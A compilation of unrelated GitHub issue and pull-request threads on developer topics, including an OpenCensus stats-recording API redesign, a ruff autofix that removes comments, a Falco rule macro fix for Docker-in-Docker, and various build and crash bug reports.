I wrote a rough implementation of #639 and wanted to ask for feedback.
This commit adds an abstract builder-like class (StatsBuilder) for setting measures.  The new class has a record method to record all of the measures with the same timestamp.
Here is an example with implicit propagation.
master:
        statsRecorder.record(
            MeasureMap.builder()
                .put(RPC_CLIENT_ROUNDTRIP_LATENCY, 100)
                .put(RPC_CLIENT_REQUEST_BYTES, 2000)
                .build());

this PR:
        statsRecorder
            .newStatsBuilder()
            .put(RPC_CLIENT_ROUNDTRIP_LATENCY, 100)
            .put(RPC_CLIENT_REQUEST_BYTES, 2000)
            .record();

I'm not sure what names to use for the new class or methods.  I'm also not sure how to handle tags for explicit propagation, because they could be an argument to newStatsBuilder or record.  (They are currently an argument to newStatsBuilder in this PR.)
Here are some reasons for making this change.  The first two also applied to making TagContext abstract.

We don't need to put the concrete MeasureMap class in the API.  This gives us more flexibility to change it later.  For example, the stats implementation could access its list of measure values directly, rather than going through the iterator.  This API doesn't even require us to build the immutable map of measures.
We don't need to create a MeasureMap when stats collection isn't enabled.
This API requires slightly less code to record stats.

Reasons to keep MeasureMap in the API:

MeasureMap is simpler to understand and document than StatsBuilder.
MeasureMap is threadsafe and can be reused.
StatsRecorder.record(MeasureMap stats) is easier to mock.

/cc @adriancole

Coverage increased (+0.08%) to 78.721% when pulling ba0db7b975a115b5fae53bf00063f0b157483962 on sebright:abstract-measure-map into 7a3003f678b507ea9e09ae45a19ec8e4d030c5c1 on census-instrumentation:master.

Codecov Report

Merging #676 into master will increase coverage by 0.05%.
The diff coverage is 95.65%.

@@             Coverage Diff              @@
##             master     #676      +/-   ##
============================================
+ Coverage     76.82%   76.88%   +0.05%
- Complexity      732      739       +7
============================================
  Files           133      135       +2
  Lines          3470     3487      +17
  Branches        329      329
============================================
+ Hits           2666     2681      +15
- Misses          741      742       +1
- Partials         63       64       +1

Impacted Files
Coverage Δ
Complexity Δ

...io/opencensus/implcore/stats/MeasureToViewMap.java
96.61% <ø> (ø)
16 <0> (ø)
:arrow_down:

.../java/io/opencensus/implcore/stats/MeasureMap.java
88.46% <ø> (ø)
3 <0> (?)

...ava/io/opencensus/implcore/stats/StatsManager.java
100% <ø> (ø)
5 <0> (ø)
:arrow_down:

...c/main/java/io/opencensus/stats/StatsRecorder.java
100% <100%> (ø)
2 <1> (ø)
:arrow_down:

...o/opencensus/implcore/stats/StatsRecorderImpl.java
100% <100%> (ø)
2 <1> (ø)
:arrow_down:

...rc/main/java/io/opencensus/stats/StatsBuilder.java
100% <100%> (ø)
1 <1> (?)

...io/opencensus/implcore/stats/StatsBuilderImpl.java
100% <100%> (ø)
5 <5> (?)

...e/src/main/java/io/opencensus/stats/NoopStats.java
88.23% <85.71%> (-3.44%)
3 <1> (+1)

...census/implcore/trace/export/SpanExporterImpl.java
90% <0%> (-1.67%)
6% <0%> (ø)

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7a3003f...ba0db7b. Read the comment docs.

We don't need to put the concrete MeasureMap class in the API. This gives us more flexibility to change it later.

I'm not sure how likely it is for us to change MeasureMap later. To me I think MeasureMap is just a value class, and our current implementation is simple enough. As a contrast, StatsBuilder and its implementation seems more complicated.

We don't need to create a MeasureMap when stats collection isn't enabled.

Could you give an example on how StatsBuilder will be used when stats collection isn't enabled?

Coverage increased (+0.07%) to 78.896% when pulling 2165255bf0b9d9bd2f26cbe03ea532f56ce08deb on sebright:abstract-measure-map into 98451dbada593f953a9f9cb73a159775b8afd0c5 on census-instrumentation:master.

Coverage increased (+0.07%) to 78.896% when pulling d3cdfc554e9bd5c6a7ce56a9c0dff6fa9f1bde82 on sebright:abstract-measure-map into 98451dbada593f953a9f9cb73a159775b8afd0c5 on census-instrumentation:master.

We don't need to put the concrete MeasureMap class in the API. This gives us more flexibility to change it later.

I'm not sure how likely it is for us to change MeasureMap later. To me I think MeasureMap is just a value class, and our current implementation is simple enough. As a contrast, StatsBuilder and its implementation seems more complicated.

I thought that we might want to make the same types of changes to MeasureMap that we could make to TagContext, such as changing the data structure that holds the values or changing how the implementation accesses those values.  For example, we could store the measures in a HashMap<Measure, Number> as the user specifies them, and MeasureToViewMap.record could use the Measures and values from the map without creating intermediate Iterator or Measurement objects.  I think it is important to be able to make these changes if we find any performance problems later.

We don't need to create a MeasureMap when stats collection isn't enabled.

Could you give an example on how StatsBuilder will be used when stats collection isn't enabled?

In the example in the PR description, statsRecorder.newStatsBuilder() would return a NoopStatsBuilder.  Then each call to put would return the same builder, and record would do nothing.

Coverage increased (+0.07%) to 78.896% when pulling b353acb0be1f7a65023f0f015b929b2f2b832d85 on sebright:abstract-measure-map into 98451dbada593f953a9f9cb73a159775b8afd0c5 on census-instrumentation:master.

Coverage increased (+0.07%) to 78.87% when pulling ca5bfc1bd51a74ea7439ddb9555f038bc3dea93e on sebright:abstract-measure-map into 84fb5fd619cb9a15772b3de0836d1d3f45cc325b on census-instrumentation:master.

Coverage increased (+0.07%) to 78.955% when pulling 6ce666789ffa4e88624f1a519898bc4bb9debaf9 on sebright:abstract-measure-map into 844a10a4db233e314dac78ec419324c706d32cde on census-instrumentation:master.

I think I found better names.  I made the following renames in the last commit:
StatsBuilder -> StatsRecord
StatsRecorder.newStatsBuilder -> StatsRecorder.newRecord
StatsRecorder.newStatsBuilderWithExplicitTagContext -> StatsRecorder.newRecordWithExplicitTagContext

Coverage increased (+0.07%) to 79.077% when pulling ee484e206a28a4aaa0abeb76fb5314efea16c725 on sebright:abstract-measure-map into dbff329210261a13e5a8c5ab525114cfdbfd8448 on census-instrumentation:master.

Coverage increased (+0.07%) to 79.153% when pulling e4f9ee8c400deb3194765573cc8333c04a5a7d51 on sebright:abstract-measure-map into 620d97c15db3588376adad2d0dd8c55db4650806 on census-instrumentation:master.

I modified the API so that StatsRecord.record can take a TagContext.  Here is an example of recording with an explicit TagContext now:
        statsRecorder
            .newRecord()
            .put(RPC_CLIENT_ROUNDTRIP_LATENCY, 100)
            .put(RPC_CLIENT_REQUEST_BYTES, 2000)
            .recordWithExplicitTagContext(tags);

I think it is slightly simpler, since the StatsRecord doesn't need to store the tags.

Coverage increased (+0.02%) to 79.103% when pulling 856c220f35ae949185a71f458716bfce5a3251e8 on sebright:abstract-measure-map into 620d97c15db3588376adad2d0dd8c55db4650806 on census-instrumentation:master.

Coverage increased (+0.07%) to 79.103% when pulling 6f94a23dbef32f87522ce373cf0f05537aa9155a on sebright:abstract-measure-map into 92e363fb2daa1a8aee308d3bd5fc20c9e83eeab2 on census-instrumentation:master.

Coverage increased (+0.3%) to 79.387% when pulling 21d0ac659fb31b958faccfabc5d0d5062edfea9e on sebright:abstract-measure-map into 92e363fb2daa1a8aee308d3bd5fc20c9e83eeab2 on census-instrumentation:master.


Enabling any extension causes all apps to go into crash/reopen loop

Bug Report
Current Behavior
I replaced mySIMBL with MacForge on my Mac Pro 2010 running 10.12.6 and since, with any extension enabled, everything will go into a constant crash/reopen loop. Removing extensions and or enabling SIP prevents the crash/relaunch loop.
Steps to reproduce the behavior:

Go to Manage
Click on checkbox for any extension
Everything, including SystemUIServer goes into crash/relaunch loop

MacForge version: v0.13.2
OS version: macOS 10.12.6
Plugins: any
SIP disabled, AMFI enabled

Tried uninstalling all components from mySIMBL, as well as removing all MacForge related components, reinstalling and adding the plugins again to no avail. Crash loop still persists.
Can provide access for debugging purposes to machine if needed.
Crashloop.mov.zip

If you're running 10.12.6
You might want to try mySIMBL instead.
https://github.com/w0lfschild/mySIMBL


make test fail . make: https://github.com/mishoo/UglifyJS2/archive/v2.4.12.tar.gz: No such file or directory

macOS Mojave 10.14.5
/usr/bin/make -f /Users/leocone/Study/duktape/Makefile test
/# https://github.com/mishoo/UglifyJS2
/# Use a specific release because UglifyJS2 is used in building Duktape
/# (This is now a bit futile because UglifyJS2 requires an 'npm install',
/# the NodeJS dependencies need to be controlled for this to really work.)
/# Don't use this because it's a moving critical dependency
/#/usr/bin/git clone --depth 1 https://github.com/mishoo/UglifyJS2.git
https://github.com/mishoo/UglifyJS2/archive/v2.4.12.tar.gz -O v2.4.12.tar.gz
make: https://github.com/mishoo/UglifyJS2/archive/v2.4.12.tar.gz: No such file or directory
make: *** [UglifyJS2] Error 1
$ npm install uglify-js -g
also fail.

First as background, the Makefile is intended for Linux only, and I don't intend for all Makefile targets to work on e.g. iOS. There are now Docker images that you can use for development however. They provide a Linux environment for building and testing, and they might work as is on iOS, e.g.:
$ make docker-images
$ make docker-shell-wdmount

This gives you a shell, which uses the same working directory, so you should be able to edit on iOS, but run tests etc. in the shell.
But regarding this specific problem, you are probably missing a wget command which causes the rather cryptic error.


SMTP Network Filter in Envoy contrib

Commit Message: Smtp Network Filter in contrib
Additional Description:
This smtp network filter has been developed as per RFC 5321 (https://www.rfc-editor.org/rfc/rfc5321) and supports STARTTLS extension. It will parse SMTP commands and responses as per the SMTP protocol and provide protocol specific metrics.
The downstream starttls is supported by default. When smtp client sends STARTTLS, the filter will start secure transport on downstream connection. The upstream encryption is configurable. If enabled and if TLS handshake fails during upstream TLS negotiation, the filter responds to the client with error and closes the connection. If upstream TLS handshake succeeds, both the downstream and upstream connections are encrypted for secure smtp mail transfer.
Risk Level: Low
Testing: Unit, Manual testing
Docs Changes:
Release Notes:
Platform Specific Features: No
[Optional Runtime guard:]
[Optional Fixes #Issue] https://github.com/envoyproxy/envoy/issues/24219
[Optional Fixes commit #PR or SHA]
[Optional Deprecated:]
[Optional API Considerations:]

@VishalDamgude It seems that DCO signature is missing. Please refer to https://github.com/envoyproxy/envoy/blob/main/CONTRIBUTING.md#dco-sign-your-work. I suggest that you install hooks, so it is automatically added each time you do a commit.

/wait

Hi @cpakulski @wbpcode ,
Will create another PR. Closing this one. It seems the branch is all messed up while adding DCO signature.

I was about to suggest closing and opening a new one ... Thanks.


opensnoop (toolsMode=standard) fails running in a non-BTF kernel with vmlinux from BTFHub

Description
opensnoop (toolsMode=standard) fails running in a non-BTF kernel with vmlinux from BTFHub.
Notice it works with --tools-mode=auto or core. Or if I delete the vmlinux file from the gadget container.
Environment and steps to reproduce
Set-up:

Ubuntu-focal with Kernel 5.8 without CONFIG_DEBUG_INFO_BTF
Kubeadm v1.22.2
Docker v20.10.8

Test:
$ kubectl logs -n kube-system $IG
...
Deployment options:
INSPEKTOR_GADGET_OPTION_TRACELOOP_LOGLEVEL=info,json
INSPEKTOR_GADGET_OPTION_TRACELOOP=true
INSPEKTOR_GADGET_OPTION_TOOLS_MODE=standard
INSPEKTOR_GADGET_OPTION_HOOK_MODE=fanotify
Inspektor Gadget version: v0.3.1-11-ga1b7164dc4be
BTF is not available: Trying BTFHub
Trying to download vmlinux from https://github.com/aquasecurity/btfhub/raw/main/ubuntu/20.04/x86_64/5.8.0-63-generic.btf.tar.xz
vmlinux downloaded at /boot/vmlinux-5.8.0-63-generic
...

$ ./kubectl-gadget opensnoop
bpf: Failed to load program: Invalid argument
FENTRY/FEXIT program can only be attached to another program annotated with BTF
processed 0 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0

Traceback (most recent call last):
  File "/bin/gadgets/opensnoop", line 340, in <module>
    b = BPF(text=bpf_text)
  File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 488, in __init__
    self._trace_autoload()
  File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 1456, in _trace_autoload
    self.attach_kretfunc(fn_name=func_name)
  File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 1136, in attach_kretfunc
    fn = self.load_func(fn_name, BPF.TRACING)
  File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 528, in load_func
    (func_name, errstr))
Exception: Failed to load BPF program kretfunc____x64_sys_open: Invalid argument

Error running command: command terminated with exit code 1

Expected behavior
opensnoop (toolsMode=standard) must not depend on BTF.
Additional information
Seems like opensnoop is internally relying on the existence of the vmlinux file to decide whether it can use the libbpf or not. The problem is that such a check is not enough because, like in my case, the user could have the vmlinux file but a kernel that does not support FENTRY/FEXIT.

Opensnoop tries to fentry/fexit programs if they are supported:
https://github.com/iovisor/bcc/blob/aa7200b9b2a7a2ce2e8a6f0dc1f456f3f93af1da/tools/opensnoop.py#L269
However, this check seems to be wrong as it only relies on the existence of the vmlinux file (other checks are not important) to determine if those programs are supported.
https://github.com/iovisor/bcc/blob/aa7200b9b2a7a2ce2e8a6f0dc1f456f3f93af1da/src/python/bcc/__init__.py#L1085
I am not sure how that test should be changed. One idea is to be sure that the vmlinux file is loaded from the canonical path (sysfs), however I still need to understand all the considerations.

Opened upstream PR that fixes this: https://github.com/iovisor/bcc/pull/3810


Structured Concurrency in Java

Hey, man. I finally did it. Here is the first version of the article on structured concurrency in Java.
Hope you like it!
Let me know if anything needs to be clarified.

Closing this in favor of the new site repo.


Update to most recent version of apt package.

No breaking changes in the changelog of the apt package, no reason not to be on the most recent version.

LGTM!


args_schema type hint on subclassing

per https://github.com/hwchase17/langchain/issues/3297

Looks like black's desire to reformat notebooks is breaking the lint.


Add NewRelic webhook support

Nice to analyse and correlate business events with applications / system events.
https://docs.newrelic.com/docs/alerts/alert-policies/examples/creating-webhook-alert-channels

Migrated to https://github.com/snowplow/enrich/issues/136


[5.8] Fix offset query grammar

MySql syntax states that offset can only be used with the limit. However, in the grammar one can set offset even without the limit which causes the MySQL query to break.
This PR adds offset/unionOffset only if the limit/unionOffset is set.
Ref: https://dev.mysql.com/doc/refman/8.0/en/select.html

It's not a good user experience to silently ignore the offset.

Thanks for your pull request to Laravel!
Unfortunately, I'm going to delay merging this code for now. To preserve our ability to adequately maintain the framework, we need to be very careful regarding the amount of code we include.
If possible, please consider releasing your code as a package so that the community can still take advantage of your contributions!
If you feel absolutely certain that this code corrects a bug in the framework, please "@" mention me in a follow-up comment with further explanation so that GitHub will send me a notification of your response.


⚠ Bofrost.nl has degraded performance

In a4f8cd7, Bofrost.nl (https://www.bofrost.nl) experienced degraded performance:

HTTP code: 200
Response time: 930 ms

Resolved: Bofrost.nl performance has improved in 0a131b5.


Create AWS lambda function for updating db

Write a rust program to run on AWS lambda

db_updater on b22852e  is okay right now.


Include bot description

The bots.yml includes user agent search strings as keys and descriptive strings as values. However, I don't see a method to match the descriptive string.
An example, if I want to explicitly match the Facebook crawler, the following entries in bots.yml apply:
facebookexternalhit: "Facebook Bot"
Facebot: "Facebook Bot"

However, while I can get the key using browser.bot_name (in this case, will return either "facebookexternalhit" or "Facebot") there's no method to get the description. So if I want to sniff out the Facebook crawler I still have to use something like this:
/(facebook|facebot)/i.match(browser.bot_name)

Would be nice if I could do:
browser.bot_description.include?("Facebook")

This is available in v2 as browser.bot.name.


Refactor aggregator and evaluationManager

Just refactor the two class: aggregator and evaluationManager and their unit tests. The code in /cmd folder is still the old one.
Create this pull request for your review to ensure that I am in the right way.

reset code and update.

Much better... I will fix up the merge conflict and remove and reduce the locking that is there.


pbkdf2-ctypes missing from simple index

The pbkdf2-ctypes package clearly has an entry for 0.99.4. And if one clicks on the Download link, it does lead to a downloadable file. But that latest version is mysteriously missing from the simple index.
Why would that be? Can it be repaired?

@jaraco there's no indication in the journal that a distribution was uploaded.

The download link is from the Metadata set on the release:
Download-URL: https://github.com/michele-comitini/pbkdf2_ctypes/archive/0.99.4.zip

aah. Got it. Thanks. I'll go to the package to see if I can convince them to upload a release.


Dependant Multiselect - duplicate options and not reactive

Discussed in https://github.com/laravel-filament/filament/discussions/2035

Originally posted by johncarter- March 28, 2022
I'm trying to dynamically load a different set of options on a Multiselect based on the choice from a Select.
Two problems I'm facing:

I'm getting duplicate options in the Multiselect options
The Multiselect doesn't refresh on change of the select

See short video: https://vimeo.com/693103553/5985b15db3
Here's my code:
Repeater::make('products_from')
    ->columns(2)
    ->schema([
        Select::make('product_attribute')
            ->reactive()
            ->options([
                'brand' => 'Brand',
                'type' => 'Type'
            ]),
        MultiSelect::make('selected_attributes')
            //->getSearchResultsUsing(fn (Closure $get, string $query) => Technology::where('name', 'like', "%{$query}%")->limit(50)->pluck('name', 'id'))
            ->options(function (Closure $get) {
                ray($get('product_attribute'));

                if (!$get('product_attribute')) {
                    return [];
                }

                $attributeModel = match ($get('product_attribute')) {
                    'brand' => ProductBrand::class,
                    'type' => ProductType::class
                };

                return $attributeModel::all()->pluck('name', 'id')->toArray();
            }),
    ])

Anyone know what I'm doing wrong?

@johncarter - I've replaced our current Select component with tom-select in #2077, if you can, test it out. I still need to style the new component but it should be fully-functional.

@danharrin I'm trying to test this out. I thought I could use a composer patch, but that fails. 🤷♂

I'm facing this same issue, is there any update on it? @johncarter-

Hey mate, yeah you can check the status of the PR #2057.
I think its pretty much ready to go, but I haven't had a chance to check it yet.


Update the exe_running_docker_save macro to support docker in docker

What type of PR is this?
/kind bug
/kind rule-update
Any specific area of the project related to this PR?
/area rules
What this PR does / why we need it:
In an environment where Docker in Docker is overly used, we see multiple events where proc.cmdline contains exe / /var/lib/docker (notice the / between exe and /var/lib/docker).
A common use-case for Docker in Docker in a Kubernetes cluster is a Jenkins agent running as a Kubernetes pod using the docker.io/library/docker:stable-dind Docker image. Such agent is used in a Jenkins job to build container images.
We already have the exe_running_docker_save macro:
- macro: exe_running_docker_save
  condition: (proc.cmdline startswith "exe /var/lib/docker" and proc.pname in (dockerd, docker))

but we did not had any macro for exe / /var/lib/docker.
After discussing with multiple Falco maintainers in Slack, we think the best option is to modify the exe_running_docker_save macro to support Docker in Docker.
Which issue(s) this PR fixes:
I did not file an issue, here is a PR instead!
Special notes for your reviewer:
Does this PR introduce a user-facing change?:
We fixed false positives in multiple rules that were caused by the use of Docker in Docker by updating the exe_running_docker_save macro.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: kaizhe
If they are not already assigned, you can assign the PR to them by writing /assign @kaizhe in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

rules/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/lgtm

LGTM label has been added.  Git tree hash: 5724b3d29c290b8b053192e0afaf9419b8af6a71

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Kaizhe
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

rules/OWNERS [Kaizhe]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Kaizhe, leodido
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

rules/OWNERS [Kaizhe,leodido]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/lgtm

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Kaizhe, leodido
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

rules/OWNERS [Kaizhe,leodido]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/milestone 0.19.0


fix orphan union as enum has no usage problem (#624)

cc: @haolingdong-msft

:x: There is undocummented changes. Run chronus add to add a changeset or click here.
The following packages have changes but are not documented.

:x:@azure-tools/typespec-autorest-canonical
:x:@azure-tools/typespec-autorest

The following packages have already been documented:

:white_check_mark: @azure-tools/typespec-client-generator-core

You can try these changes at https://cadlplayground.z22.web.core.windows.net/typespec-azure/prs/640/
Check the website changes at https://tspwebsitepr.z22.web.core.windows.net/typespec-azure/prs/640/


Hacktoberfest 2020

Hey,
I added 2 files, please review and merge!
Also add hacktoberfest-accepted label.

Good


In-site search

Cooperate with google in-site search. Refer to the in-site search function implemented in the PKQData site.

Aborted because the expected user count will be very low, and currently it's not too hard to find a desired item in the website.


Marathon pluggable

I think as part of this PR we are going to want some docs around how to create an Add-on (for future add-ons), and how to contribute them / developing for apollo in the main readme

to fix the test failures you'll need to rebase off master

Can we keep the scope of this PR to just providing the plugin. For handling environment variables i've opened #152

Giving this branch a spin on my machine. My initial beef with it is -
root@apollo-mesos-master-1:~# docker images
mesosphere/marathon      v0.8.1              69c22351652e        2 days ago          1.118 GB

The image is massive and it has to be downloaded 3 times (on each master) - so the provisioning time is increased enormously :'(

Added some code here to deal with #270

This isn't going far, probably because the PR is huge. Maybe we should chunk it up to make it a bit easier to review / merge?
We could split it into 3 PRs -

1 PR for the packer box updates (should be backward compatible anyway)
1 PR that just provides the plugin mechanism with no plugins
1 PR for the marathon plugin

Thoughts ?

would agree with @tayzlor. will make it easier to get in, if we split it up

The main thing stopping this is the packer images having to be rebuild. And decisions aorund plugin system.
I'll move out from this PR the packer related stuff so we can create a separate PR with it and others packer updates

this is being split in to https://github.com/Capgemini/Apollo/pull/338 and https://github.com/Capgemini/Apollo/pull/323
This PR would be use to provided the plugin mechanism

Closing this one in favour of https://github.com/Capgemini/Apollo/pull/357


Change .config to $XDG_CONFIG_DIR

This change will not be merged. See #25 for the explanation.

I have implemented this fix in commit 5054e4020d625cf7ad16ee45e5bde7880bf744f4.
This pull request will be closed.


Q: Migrate git-init to script mode?

The git-init image, used to support git-type PipelineResources, invokes a Go binary that drives git CLI invocations to clone a repo.
One of the main benefits of git-init was that it made it easy to chain together multiple CLI invocations inside one step, and being Go made it easy to have control flow logic.
However, being a Go binary that wraps the git CLI adds a layer of indirection to users interested in understanding/debugging/extending it, since they have to go through the Go code to change its behavior.
Now that we have script mode, git-type PipelineResources could simply prepend a step that defines a script: to do all the things git-init does (i.e., git init, git remote add origin <repo>, git fetch origin <revision>, etc.), removing the indirection. Users could modify the step to add more logging, without having to rebuild the image. The image could simply be the base image we already use for git-init to ensure git is installed, or an image like alpine:git.
The disadvantage of this is that git-type PipelineResources become dependent on (presumably) Bash scripts, which can grow to unmaintainable sizes. Unit testing is hard in Bash, but git-init has no unit tests today anyway.
What do people think about modifying the git-type PipelineResource in this way?
/kind question

@sbwsg I think you mentioned you were working on updating the existing git Task in the catalog - would it make sense to assign this to you?

@bobcatfish work is happening here : https://github.com/tektoncd/catalog/pull/188


SIM108 autofix removes comments

def test(x: int) -> int:
    if x > 0:
        # test test
        abc = x
    else:
        # test test test
        abc = -x
    return abc

ruff --fix  # 0.0.213
def test(x: int) -> int:
    abc = x if x > 0 else -x
    return abc

I'm not sure what to do, merge comments together doesn't make much sense to me.

Maybe something like:
def test(x: int) -> int:
    abc = (
        # test test
        x if x > 0 else
        # test test test
        -x
    )
    return abc

My gut reaction is that this is quite hard to get right in the general case. We could try to come up with some formal rules, but it might be easier to just avoid fixing in the event that the snippet contains comments (or make that an option).

Maybe just ignore the check if there are multiple lines involved?
I got this fix also for this code:
                   if parser.errno == BAD_FIRST_LINE:
                      req = wrappers.Request(sock, server=self._server)
                  else:
                      req = wrappers.Request(
                          sock,
                          parser.get_method(),
                          parser.get_scheme() or _scheme,
                          parser.get_path(),
                          parser.get_version(),
                          parser.get_query_string(),
                          server=self._server,
                      )

and it didn't make the code cleaner.
Duplicate: https://github.com/charliermarsh/ruff/issues/1791#issue-1529813542

See also https://github.com/charliermarsh/ruff/issues/1766

REOPEN:
ruff 0.0.237 just changed this, which ends with a comment:
-            if 200 <= exitcode < 300:
-                exitcode = 0
-            else:
-                exitcode = 1  # dooh, sys.exit returns a short, mapping 400 to 144
+            exitcode = 0 if 200 <= exitcode < 300 else 1  # dooh, sys.exit returns a short, mapping 400 to 144


[WIP] Implement cycle-restart support

Please don't merge!
There is still lots to do, I just wanted to open this so we could keep track of what there is to do and start making travis happy.
This is to add compatibility for cycle-restart, to enable the logging and replay of application IO so that we can hot load code and do real time-traveling.

Closed as the new implementation of cycle-restart provides a function to implement logging and replay on drivers.
https://github.com/Widdershin/cycle-restart/


Add support for specifying "interceptor.classes" setting

It would be nice to add the ability to specify the interceptor.classes producer config setting. The idea behind that is to be able to (e.g.) hook the logstash kafka output plugin (i.e. a kafka producer) to some kind of monitoring system, such as (e.g.) the Confluent Control Center (CCC).
The only unknown at this point is how to package the following dependency into this plugin as transparently as possible.
    <dependency>
        <groupId>io.confluent</groupId>
        <artifactId>monitoring-interceptors</artifactId>
        <version>3.0.1</version>
    </dependency>

For people using the CCC, the Message Delivery chart will only show up if both producers and consumers of a given topic are being monitored, since the goal is to illustrate the gap between produced and consumed messages. So if Logstash produces messages into a topic that is consumed by an application, the CCC will only be useful if the kafka output plugin can be instrumented via interceptor.classes, otherwise CCC will not be aware of the message production on that topic.
Maybe someone has a better idea on how to hook up and monitor a Logstash Kafka producer via interceptor classes (or any other mean).
The same symmetric need has been expressed for the input plugin: https://github.com/logstash-plugins/logstash-input-kafka/issues/139

@ph do you have any thoughts about this?

hey @consulthys, thanks for expressing the value of this feature. same response as the input here: https://github.com/logstash-plugins/logstash-input-kafka/issues/139#issuecomment-271456103


Attribute "radius" has already been defined

S:\androidpro\a_vcare_folder\vcare\app\build\intermediates\res\merged\vtest\debug\values\values.xml
Error:(340) Attribute "radius" has already been defined
Error:(340) Attribute "strokeColor" has already been defined
Error:(361) Attribute "textColor" has already been defined

Or you can add prefix dm to these attributes

You should add prefix for all custom attr in order to avoid repeat.

You're right, thanks for pointing that out. Grab v0.1.5.


Error with Bobcat Parser

Hi,
I am having a relatively difficult to understand error. I am trying to look at the sentence "Senate Advances Bill To Approve Keystone Pipeline Despite Obamas Veto Threat", and can't figure out why it is giving me the error below. Does BobCatParser throw an error if it doesn't recognize a word? I am unclear what I would need to do to fix the sentence.
from lambeq import BobcatParser
parser = BobcatParser()
diagram = parser.sentence2diagram('Senate Advances Bill To Approve Keystone Pipeline Despite Obamas Veto Threat')
diagram.draw()
raceback (most recent call last):
File "/Users/dabeaulieu/opt/anaconda3/envs/qcware/lib/python3.9/site-packages/lambeq/text2diagram/bobcat_parser.py", line 382, in sentences2trees
trees.append(self._build_ccgtree(result[0]))
File "/Users/dabeaulieu/opt/anaconda3/envs/qcware/lib/python3.9/site-packages/lambeq/bobcat/parser.py", line 258, in getitem
return self.root[index]
IndexError: list index out of range
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/Users/dabeaulieu/opt/anaconda3/envs/qcware/lib/python3.9/site-packages/spyder_kernels/py3compat.py", line 356, in compat_exec
exec(code, globals, locals)
File "/Users/dabeaulieu/Documents/Initiatives/quantum/machine learning/notebooks/qnlp/ankush/Quantum_NLP/testcode.py", line 12, in
diagram = parser.sentence2diagram('Senate Advances Bill To Approve Keystone Pipeline Despite Obamas Veto Threat')
File "/Users/dabeaulieu/opt/anaconda3/envs/qcware/lib/python3.9/site-packages/lambeq/text2diagram/ccg_parser.py", line 231, in sentence2diagram
return self.sentences2diagrams(
File "/Users/dabeaulieu/opt/anaconda3/envs/qcware/lib/python3.9/site-packages/lambeq/text2diagram/ccg_parser.py", line 161, in sentences2diagrams
trees = self.sentences2trees(sentences,
File "/Users/dabeaulieu/opt/anaconda3/envs/qcware/lib/python3.9/site-packages/lambeq/text2diagram/bobcat_parser.py", line 387, in sentences2trees
raise BobcatParseError(' '.join(sent.words))
BobcatParseError: Bobcat failed to parse 'Senate Advances Bill To Approve Keystone Pipeline Despite Obamas Veto Threat'.

This works if you change the sentence to:
Senate Advances Bill To Approve Keystone Pipeline Despite Obama 's Veto Threat (including the extra space)
Omitting the apostrophe changes the semantics of the sentence to something the parser doesn't find grammatical.
Hope that makes sense. Let me know if you want any more explanation.

This issue will be close due to inactivity. @dancbeaulieu if you require any more help let us know.


Corrected image in markdown

Image was not shown as image but as code snippet

@f-bader : Thanks for your contribution! The author, @jeevansd, has been notified to review your proposed change.

@jborsecnik : Thanks for your contribution! The author, @jeevansd, has been notified to review your proposed change.


TypeError: undefined is not an object (evaluating 'history.listen')

not compatible with react router 4?

See the top of the README...

My bad thanks


Set MACOSX_DEPLOYMENT_TARGET for macOS releases

This is an effort to ideally produce "more portable" binaries for the
releases we publish to GitHub. Currently the way macOS works is that
you're generally only guaranteed to work on the same platform you built
on and later (although it may sometimes work on older platforms). By
configuring this environment variable it should be possible to lower the
binary compatibility requirement, allowing running binaries on older OS
releases than the build machine is running.
I've chosen 10.9 here since it seems to be the lowest that "just works",
but there's no particular reason other than that for choosing this. Rust
itself chooses 10.8 (I think) for the compiler and 10.7 for the standard
library. This decision is largely driven by the C++ code from wabt-sys
which has more requirements about binary compatibility than Rust code
does.
Note that I don't actually have older macOS machines to test on as well,
but I can at least confirm that this does affect the build process!

I should point out that I want to verify the release actually registers this before merging, so gonna wait on CI to finish the OSX build at least.

Ok, verified and looks to be working!


metrics: remove metrics proxy

What problem does this PR solve?

Issue Number: ref #4287
What is changed and how it works?

remove metrics proxy
upgrade promethus and use DeletePartialMatch if we want to delete by partial labels.

Check List
Tests
Manaully test
None

/run-all-tests

Codecov Report

Merging #6948 (0fd8e1d) into master (7c5032c) will decrease coverage by 0.0149%.
The diff coverage is 53.2920%.

Additional details and impacted files

Flag
Coverage Δ

cdc
67.3443% <72.2838%> (-0.0326%)
:arrow_down:

dm
51.9233% <35.8192%> (-0.0753%)
:arrow_down:

engine
62.6574% <68.9342%> (+0.0221%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.
@@               Coverage Diff                @@
##             master      #6948        +/-   ##
================================================
- Coverage   59.9224%   59.9075%   -0.0150%
================================================
  Files           783        783
  Lines         89519      89755       +236
================================================
+ Hits          53642      53770       +128
- Misses        31168      31265        +97
- Partials       4709       4720        +11

/run-engine-integration-test

The integration test is fixed in this pr, please rebase this branch and trigger engine tests again.

cc @D3Hunter @buchuitoudegou

Would you mind introduce a bit below this comment about why we used this before and why we abandon it now?

